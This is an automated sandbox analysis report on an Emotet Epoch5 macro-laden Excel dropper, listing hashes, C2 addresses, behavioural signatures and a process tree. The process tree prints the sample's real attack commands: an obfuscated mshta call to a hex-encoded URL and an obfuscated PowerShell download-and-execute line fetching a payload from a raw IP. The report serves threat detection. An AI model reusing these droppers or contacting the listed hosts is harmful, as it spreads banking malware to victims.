emotet | aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b

General

Target

aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b.xlsm
Size

114KB
MD5

4962c644e09bb0011788f7b2fe368e40
SHA1

13465cd4f8d94af607145cb65eb901a71a33437d
SHA256

aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b
SHA512

320c40058c983b6b9be51635f467779a7445c40ce69c3be890f27e61d2364912fc8ecd46224703ad9165b83607df5ad8e4e488da0346e57d9d85213cb0e78541

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3156	2728	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

30 3168 mshta.exe
36 3216 powershell.exe
38 3216 powershell.exe
46 1312 rundll32.exe
47 1312 rundll32.exe
49 1312 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2224 rundll32.exe
1944 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Xfdbikl\zqczknjgcrpab.nhk rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

644 3168 WerFault.exe mshta.exe

flow	pid	process
30	3168	mshta.exe
36	3216	powershell.exe
38	3216	powershell.exe
46	1312	rundll32.exe
47	1312	rundll32.exe
49	1312	rundll32.exe

pid	process
2224	rundll32.exe
1944	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Xfdbikl\zqczknjgcrpab.nhk	rundll32.exe

pid	pid_target	process	target process
644	3168	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2728 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3216	powershell.exe
3216	powershell.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
644	WerFault.exe
3216	powershell.exe
1312	rundll32.exe
1312	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3216 powershell.exe
Token: SeDebugPrivilege 644 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3216	powershell.exe
Token: SeDebugPrivilege	644	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2728 wrote to memory of 3156	2728	EXCEL.EXE	cmd.exe
PID 2728 wrote to memory of 3156	2728	EXCEL.EXE	cmd.exe
PID 3156 wrote to memory of 3168	3156	cmd.exe	mshta.exe
PID 3156 wrote to memory of 3168	3156	cmd.exe	mshta.exe
PID 3168 wrote to memory of 3216	3168	mshta.exe	powershell.exe
PID 3168 wrote to memory of 3216	3168	mshta.exe	powershell.exe
PID 3216 wrote to memory of 1852	3216	powershell.exe	cmd.exe
PID 3216 wrote to memory of 1852	3216	powershell.exe	cmd.exe
PID 1852 wrote to memory of 2224	1852	cmd.exe	rundll32.exe
PID 1852 wrote to memory of 2224	1852	cmd.exe	rundll32.exe
PID 1852 wrote to memory of 2224	1852	cmd.exe	rundll32.exe
PID 2224 wrote to memory of 1944	2224	rundll32.exe	rundll32.exe
PID 2224 wrote to memory of 1944	2224	rundll32.exe	rundll32.exe
PID 2224 wrote to memory of 1944	2224	rundll32.exe	rundll32.exe
PID 1944 wrote to memory of 1084	1944	rundll32.exe	rundll32.exe
PID 1944 wrote to memory of 1084	1944	rundll32.exe	rundll32.exe
PID 1944 wrote to memory of 1084	1944	rundll32.exe	rundll32.exe
PID 1084 wrote to memory of 1312	1084	rundll32.exe	rundll32.exe
PID 1084 wrote to memory of 1312	1084	rundll32.exe	rundll32.exe
PID 1084 wrote to memory of 1312	1084	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3156

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/sec.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3216

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1852

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2224

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xfdbikl\zqczknjgcrpab.nhk",DHinMMntFhr
8⤵
- Suspicious use of WriteProcessMemory
PID:1084

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xfdbikl\zqczknjgcrpab.nhk",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1312

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3168 -s 1664
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:644

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
0c861bac69f09cf80d8e2cd928236a86

SHA1
46cf07b6bfce7c6f4f04f8033bfd320a3ecc8f83

SHA256
d0b1c6960288a6f9efee0ed52a34ad70296d8f48e54d4e0368b7f4022fc8abb4

SHA512
615caeb22b82a6262aecece95f51e84b5494215e8d5fc7726db47d9e17a6c1a5380ecabc7601d0020744d42bfa650b11e49cd943182c247d6acb70ffa8683227

Download Submit
\Users\Public\Documents\ssd.dll

MD5
0c861bac69f09cf80d8e2cd928236a86

SHA1
46cf07b6bfce7c6f4f04f8033bfd320a3ecc8f83

SHA256
d0b1c6960288a6f9efee0ed52a34ad70296d8f48e54d4e0368b7f4022fc8abb4

SHA512
615caeb22b82a6262aecece95f51e84b5494215e8d5fc7726db47d9e17a6c1a5380ecabc7601d0020744d42bfa650b11e49cd943182c247d6acb70ffa8683227

Download Submit
\Users\Public\Documents\ssd.dll

MD5
0c861bac69f09cf80d8e2cd928236a86

SHA1
46cf07b6bfce7c6f4f04f8033bfd320a3ecc8f83

SHA256
d0b1c6960288a6f9efee0ed52a34ad70296d8f48e54d4e0368b7f4022fc8abb4

SHA512
615caeb22b82a6262aecece95f51e84b5494215e8d5fc7726db47d9e17a6c1a5380ecabc7601d0020744d42bfa650b11e49cd943182c247d6acb70ffa8683227

Download Submit
memory/1084-604-0x0000000004D70000-0x0000000004D98000-memory.dmp

Filesize
160KB

Download
memory/1312-605-0x0000000004E00000-0x0000000004E28000-memory.dmp

Filesize
160KB

Download
memory/1944-602-0x0000000005190000-0x00000000051B8000-memory.dmp

Filesize
160KB

Download
memory/1944-600-0x0000000005030000-0x0000000005058000-memory.dmp

Filesize
160KB

Download
memory/1944-598-0x0000000004FD0000-0x0000000004FF8000-memory.dmp

Filesize
160KB

Download
memory/1944-594-0x0000000004CF0000-0x0000000004D18000-memory.dmp

Filesize
160KB

Download
memory/1944-592-0x0000000004950000-0x0000000004978000-memory.dmp

Filesize
160KB

Download
memory/2224-588-0x00000000035E0000-0x0000000003608000-memory.dmp

Filesize
160KB

Download
memory/2728-129-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp

Filesize
64KB

Download
memory/2728-115-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2728-128-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp

Filesize
64KB

Download
memory/2728-121-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2728-118-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2728-117-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2728-116-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/3216-355-0x0000013929396000-0x0000013929398000-memory.dmp

Filesize
8KB

Download
memory/3216-315-0x00000139439D0000-0x0000013943A46000-memory.dmp

Filesize
472KB

Download
memory/3216-291-0x00000139434D0000-0x000001394350C000-memory.dmp

Filesize
240KB

Download
memory/3216-290-0x0000013929393000-0x0000013929395000-memory.dmp

Filesize
8KB

Download
memory/3216-289-0x0000013929390000-0x0000013929392000-memory.dmp

Filesize
8KB

Download
memory/3216-270-0x0000013943360000-0x0000013943382000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads